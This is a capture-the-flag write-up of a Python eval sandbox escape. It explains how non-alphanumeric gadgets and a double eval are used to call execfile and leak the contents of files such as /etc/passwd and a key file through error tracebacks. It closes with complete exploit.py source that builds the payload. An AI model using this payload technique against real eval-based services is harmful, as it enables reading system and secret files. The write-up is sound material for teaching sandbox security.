Solved by w00d @ clgt
***Thanks **g4mm4
for giving many suggestions and draft the first version of the exploit
*

13 – The Sandboxed Terminal (400)

Since the zombie apocalypse started people did not stop to ask themselves how the whole thing began. An abandoned military base may lead to answers but after infiltrating the facility you find yourself in front of a solid steel door with a computer attached. Luckily this terminal seems to connect to a Python service on a remote server to reduce load on the small computer. While your team managed to steal the source, they need your Python expertise to hack this service and get the masterkey which should be stored in a file called key.

https://ctf.fluxfingers.net:2076/c7238e81667a085963829e452223b47b/sandbox.py

In this ctf, I bumped into a few python challenges. Though having been using it for a while, I’m still a novice and pretty much ill-prepared, it took me a lot of time to read articles about python security. There are many interesting ones which I might write in a separate blog, however they do not help me much to solve this challenge, the only thing they help is to keep me motivated.

The python program consists of two parts:

  • First part is the Detangle class which basically make a “sandbox” environment:
  1. You can not import anything.
  2. You can neither use “open” nor “file” command.
  3. It prints some nice debug information about what python command is executed and their arguments.
  • Second part allows you to input 3 params: num1, num2 and operator. There are two regular expressions to check your input:
num_pattern = re.compile(r'^[d]{0,4}$')
operator_pattern = re.compile(r'^[W]+$')
...
if not num_pattern.match(num1) or not num_pattern.match(num2):
    raise SystemExit('Number rejected')
if not operator_pattern.match(operator) or len(operator) > 1900:
    raise SystemExit('Operator rejected')
  1. num1, num2 should only be number, 4 digits at most.
  2. operator should not contain any alphanumeric characters and its length must be at most 1900.

These input will be fed into some eval command as follow:

operator = eval(operator) if "'" in operator else operator
print(eval(num1 + operator + num2))

For example, you can input “1″ , “2″ , “+”. The program will return “3″, simple as that.

Obviously, if someone tells you to exploit this program, first is to look at “eval” (i.e. “evil”) and try to exploit that. But it’s a difficult task because you can’t bypass the two regular expressions and input any python code, recall that you can only input number or non-alphanumberic character.

I tried several attempts and failed including some silly: trying to write a valid python code using unicode character, trying to overflow eval, trying to exploit Detangle, find a 0-day/1-day of re.match, ..
But failures teach you some lessons. I noticed that “operator” is eval-ed twice. That means after the first eval, we may be able to convert some non-alphanumberic character into python code and get it executed on the next one.

I started with this gadget: s = "(''=='')+(''=='')"(inside are two single quotes). Run eval(s) in a python terminal will return you number “2″. Using this gadget/similar kind we typically can create any number. Progress: 25% !

Now what about character ? It turned out that I can use backstick : ` ` as repr() which can give me some string that contains alpha-character, such as : `(''=='')` => “True”, `(''!='')` => “False”, moreover I can access each single character using square bracket : `(''=='')`[1] => ‘r’, or even better `'xaa'`[3] => ‘a’. We now can create any of these:** ‘abcdefxTruFls’**. Progress: 50% !

I stopped looking at gadget, and started looking at how to bypass the Detangle class. It’s not hard as it look, though we can’t use “open” or “file” to open a file, can’t import anything, we can still use the built-in “execfile”. It does not allow us to run abitrary command but we can leak some info about the content of a file like this:

execfile(“/etc/passwd”)
Traceback (most recent call last):
File “”, line 1, in
File “/etc/passwd”, line 1
root:x:0:0:root:/root:/bin/bash

SyntaxError: invalid syntax

Progress: 75% !!!!! ** so excited **

I need to read the file ‘key’ which makes the payload: “+execfile(‘key’)+“. As you can see, It contains “k”,”y”,”i” that is not in my “magic” list. Luckily the force is with me, 5 minutes after seeing this problem, I come up with this awesome gadget: "%c"%(107) => “k”. Any character can be generated using this gadget, however producing the number 107 can consume a lot of characters if done naively.

The last thing is to make the payload as short as possible because the operator length is limited at 1900. Putting everything together, I am able to produce a 1650-bytes payload, far smaller than the limit! Now see how it work:

python exploit.py | nc ctf.fluxfingers.net 2060

Traceback (most recent call last):
File “./sandbox.py”, line 77, in
print(eval(num1 + operator + num2))
File “./sandbox.py”, line 45, in __call__
result = self.orig(*args, *kwargs)
File “”, line 1, in
File “./sandbox.py”, line 45, in __call__
result = self.orig(*args, *
kwargs)
File “key”, line 1, in
dafuq_how_did_you_solve_this_nonalpha_thingy
NameError: name ‘dafuq_how_did_you_solve_this_nonalpha_thingy’ is not defined

Mission accomplished ! Beer time =]

exploit.py source code:

def makenumsmall(d):
	gadget = "(''=='')"
	rs = gadget

	if (d==0): return rs+"-"+rs
	if (d==1): return rs+"*"+rs

	for i in range(1,d): rs += "+(''=='')"
	return rs

def makenum(d):
	if (d<5): return makenumsmall(d)
	a = bin(d)[2:]
	index = len(a) - 1
	s = ""
	for c in a:
		if c == '1':
			s+= "("+makenumsmall(1)+"<<"+makenumsmall(index)+")+"
		index-=1
	return s[0:-1]

def makechar(line):
	return "('%'+`'"+chr(0xcc)+"'`["+str(makenum(3))+"])["+str(makenum(0))+":"+str(makenum(4))+"]%(" + makenum(line) + ")"

gd = {}

gd['x'] = "`'"+chr(0xcc)+"'`["+makenum(2)+"]"
gd['a'] = "`'"+chr(0xaa)+"'`["+makenum(3)+"]"
gd['b'] = "`'"+chr(0xbb)+"'`["+makenum(3)+"]"
gd['c'] = "`'"+chr(0xcc)+"'`["+makenum(3)+"]"
gd['d'] = "`'"+chr(0xdd)+"'`["+makenum(3)+"]"
gd['e'] = "`'"+chr(0xee)+"'`["+makenum(3)+"]"
gd['f'] = "`'"+chr(0xff)+"'`["+makenum(3)+"]"

a = "+execfile('key')+"
solo = [ord(i) for i in a]
#print solo
_sum = ''
import re
for line in solo:
	if chr(line) in gd:
		_gad = gd[chr(line)]
	elif chr(line) == "'":
		_gad = "'\''"
	elif re.match("W",chr(line)):
		_gad = "'"+chr(line)+"'"
	else:
		_gad = makechar(line)
	_sum += "+" + _gad

_sum = _sum[1:]
#print len(_sum)
#print eval(eval(_sum))
print "1n1n"+_sum